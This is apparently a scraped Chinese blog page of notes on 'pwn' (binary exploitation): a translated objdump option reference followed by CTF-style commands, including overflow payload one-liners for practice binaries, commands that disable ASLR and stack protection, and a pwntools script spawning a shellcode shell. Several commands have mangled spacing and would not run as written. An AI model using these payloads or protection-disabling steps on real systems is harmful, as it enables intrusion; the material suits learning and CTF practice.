pwn波c语言程序,pwn的一些命令
objdump命令
--archive-headers
-a
顯示檔案庫(kù)的成員信息,類(lèi)似ls-l將lib*.a的信息列出。
-b bfdname
--target=bfdname
指定目標(biāo)碼格式。這不是必須的,objdump能自動(dòng)識(shí)別許多格式,比如:
objdump -b oasys -m vax -h fu.o
顯示fu.o的頭部摘要信息,明確指出該文件是Vax系統(tǒng)下用Oasys編譯器生成的目標(biāo)文件。objdump -i將給出這里可以指定的目標(biāo)碼格式列表。
-C
--demangle
將底層的符號(hào)名解碼成用戶級(jí)名字,除了去掉所開(kāi)頭的下劃線之外,還使得C++函數(shù)名以可理解的方式顯示出來(lái)。
--debugging
-g
顯示調(diào)試信息。企圖解析保存在文件中的調(diào)試信息并以C語(yǔ)言的語(yǔ)法顯示出來(lái)。僅僅支持某些類(lèi)型的調(diào)試信息。有些其他的格式被readelf-w支持。
-e
--debugging-tags
類(lèi)似-g選項(xiàng),但是生成的信息是和ctags工具相兼容的格式。
--disassemble
-d
從objfile中反匯編那些特定指令機(jī)器碼的section。
-D
--disassemble-all
與-d類(lèi)似,但反匯編所有section.
--prefix-addresses
反匯編的時(shí)候,顯示每一行的完整地址。這是一種比較老的反匯編格式。
-EB
-EL
--endian={big|little}
指定目標(biāo)文件的小端。這個(gè)項(xiàng)將影響反匯編出來(lái)的指令。在反匯編的文件沒(méi)描述小端信息的時(shí)候用。例如S-records.
-f
--file-headers
顯示objfile中每個(gè)文件的整體頭部摘要信息。
-h
--section-headers
--headers
顯示目標(biāo)文件各個(gè)section的頭部摘要信息。
-H
--help
簡(jiǎn)短的幫助信息。
-i
--info
顯示對(duì)于-b或者-m選項(xiàng)可用的架構(gòu)和目標(biāo)格式列表。
-j name
--section=name
僅僅顯示指定名稱(chēng)為name的section的信息
-l
--line-numbers
用文件名和行號(hào)標(biāo)注相應(yīng)的目標(biāo)代碼,僅僅和-d、-D或者-r一起使用使用-ld和使用-d的區(qū)別不是很大,在源碼級(jí)調(diào)試的時(shí)候有用,要求編譯時(shí)使用了-g之類(lèi)的調(diào)試編譯選項(xiàng)。
-m machine
--architecture=machine
指定反匯編目標(biāo)文件時(shí)使用的架構(gòu),當(dāng)待反匯編文件本身沒(méi)描述架構(gòu)信息的時(shí)候(比如S-records),這個(gè)選項(xiàng)很有用。可以用-i選項(xiàng)列出這里能夠指定的架構(gòu).
--reloc
-r
顯示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反匯編后的格式顯示出來(lái)。
--dynamic-reloc
-R
顯示文件的動(dòng)態(tài)重定位入口,僅僅對(duì)于動(dòng)態(tài)目標(biāo)文件意義,比如某些共享庫(kù)。
-s
--full-contents
顯示指定section的完整內(nèi)容。默認(rèn)所有的非空section都會(huì)被顯示。
-S
--source
盡可能反匯編出源代碼,尤其當(dāng)編譯的時(shí)候指定了-g這種調(diào)試參數(shù)時(shí),效果比較明顯。隱含了-d參數(shù)。
--show-raw-insn
反匯編的時(shí)候,顯示每條匯編指令對(duì)應(yīng)的機(jī)器碼,如不指定--prefix-addresses,這將是缺省選項(xiàng)。
--no-show-raw-insn
反匯編時(shí),不顯示匯編指令的機(jī)器碼,如不指定--prefix-addresses,這將是缺省選項(xiàng)。
--start-address=address
從指定地址開(kāi)始顯示數(shù)據(jù),該選項(xiàng)影響-d、-r和-s選項(xiàng)的輸出。
--stop-address=address
顯示數(shù)據(jù)直到指定地址為止,該項(xiàng)影響-d、-r和-s選項(xiàng)的輸出。
-t
--syms
顯示文件的符號(hào)表入口。類(lèi)似于nm-s提供的信息
-T
--dynamic-syms
顯示文件的動(dòng)態(tài)符號(hào)表入口,僅僅對(duì)動(dòng)態(tài)目標(biāo)文件意義,比如某些共享庫(kù)。它顯示的信息類(lèi)似于nm -D|--dynamic顯示的信息。
-V
--version
版本信息
--all-headers
-x
顯示所可用的頭信息,包括符號(hào)表、重定位入口。-x等價(jià)于-a -f -h -r -t同時(shí)指定。
-z
--disassemble-zeroes
一般反匯編輸出將省略大塊的零,該選項(xiàng)使得這些零塊也被反匯編。
@file可以將選項(xiàng)集中到一個(gè)文件中,然后使用這個(gè)@file選項(xiàng)載入。
將C函數(shù)編譯為二進(jìn)制程序:
$ gcc stack0.c-o stack0-fno-stack-protector -m32
gcc-ghello.c-ohello
g++-ghello.cpp-ohello
使用python打印并輸入本地程序
$ python -c "print 'A'*65" | ./stack0
$ python -c "print'A'*64+'\x64\x63\x62\x61'" | xargs ./stack1
這里的 xargs 表示輸入數(shù)據(jù)作為參數(shù)。
$./overflow1-3948d17028101c40$(python-c 'print"A"*64+ "B"')
當(dāng)程序調(diào)用環(huán)境變量時(shí),可修改環(huán)境變量
$ export GREENIE=`python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"'`
開(kāi)啟core dump的記錄功能。
ulimit -cunlimited
sudo sh -c 'echo"/tmp/core.%t" > /proc/sys/kernel/core_pattern'
制造溢出
$ python -c "print 'A'*200" | ./stack5
$ gdb stack5 /tmp/core.1522317467
gdb-peda$ x/10s $esp-0x50
$strace./overflow3-28d8a442fb232c0c$(python-c'print"A"*76+"BBBB"')
關(guān)閉Linux系統(tǒng)的ASLR保護(hù)。
sudo sh -c"echo 0 > /proc/sys/kernel/randomize_va_space"
判斷當(dāng)前是否開(kāi)啟ASLR保護(hù)。
$setarch `uname -m`-R ./overflow4-4834efeff17abdfb/$(python-c 'print "A"*76 + "BBBB"')
from pwn import *
io = process('./stack5')
sc = asm(shellcraft.i386.sh())
payload = sc
payload += ((0x48+4)-len(sc)) * 'a'
payload += '\x20\xcf\xff\xff'
io.sendline(payload)
io.interactive()ROPgadget --binary ./stack4
總結(jié)
以上是生活随笔為你收集整理的pwn波c语言程序,pwn的一些命令的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: LOL猴子怎么出装(艾欧尼亚VS诺克萨斯
- 下一篇: 苹果8有3dtouch功能吗(苹果官网报